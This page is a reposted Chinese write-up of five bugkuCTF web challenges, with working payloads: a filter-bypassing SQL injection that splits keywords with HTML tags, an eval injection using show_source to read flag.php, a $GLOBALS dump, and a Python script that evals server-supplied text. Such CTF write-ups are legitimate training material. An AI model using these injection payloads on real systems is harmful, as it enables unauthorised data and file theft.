欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

bugkuCTF Writeup (Web)10-14

程序员文章站 2022-03-09 22:38:39
...

SQL注入1

bugkuCTF Writeup (Web)10-14
代码审计
bugkuCTF Writeup (Web)10-14
先过滤sql关键字,再过滤xss(实际上就是删除一些html标签),这个顺序就很好办了,把HTML标签插到sql关键字里面,就绕过了第一个过滤,第二个过滤之后就还原了sql关键字
之后就是基本的判断字段数、爆数据库名、爆flag
payload:http://103.238.227.13:10087/?id=1 uni<html>on s<html>elect id,hash fr<html>om sql3.key%23
还要注意的是获得的字段值要加上KEY{}再提交


你必须让他停下

bugkuCTF Writeup (Web)10-14
看源码,使用js的setTimeout函数自动刷新,那就禁用js
用浏览器禁用当前host的js,然后手动刷新,直到刷出来flag
PS:说是要在熊猫的那一张停下,出现熊猫是随机的,所以要刷几次才行,而且flag是在html里面隐藏的,得看着源码刷新才行


本地包含

bugkuCTF Writeup (Web)10-14
又是代码
bugkuCTF Writeup (Web)10-14
flag在”flag.php”这个文件里,只要按这个样把flag.php的内容显示出来就行了
eval执行里面的代码,而且是递归的
于是传入参数hello=show_source(DIR.”/flag.php”)
payload:http://120.24.86.145:8003/?hello=show_source(__DIR__.%22/flag.php%22)
有flag了
bugkuCTF Writeup (Web)10-14


变量1

bugkuCTF Writeup (Web)10-14
和上面一题差不多,只不过多了一点过滤
bugkuCTF Writeup (Web)10-14
有flag in the variable的提示,那就是要看变量了
这里通过php预定义变量来看flag1.php中加载的变量
传入参数args=GLOBALS
payload:http://120.24.86.145:8004/index1.php?args=GLOBALS
在输出的$GLOBALS变量内容里就有flag
bugkuCTF Writeup (Web)10-14


秋名山老司机

bugkuCTF Writeup (Web)10-14
两秒内计算这么一坨算式,肯定是要写脚本的
bugkuCTF Writeup (Web)10-14
再刷一下就发现要用post传入value参数
bugkuCTF Writeup (Web)10-14
于是跑python脚本,值得注意的是发送http请求的时候要打开Session支持,不然服务器不认为两次请求是同一个电脑发来的

import re
import requests

s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
    "value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)

有flag 了
bugkuCTF Writeup (Web)10-14
(不要在意乱码的那些细节)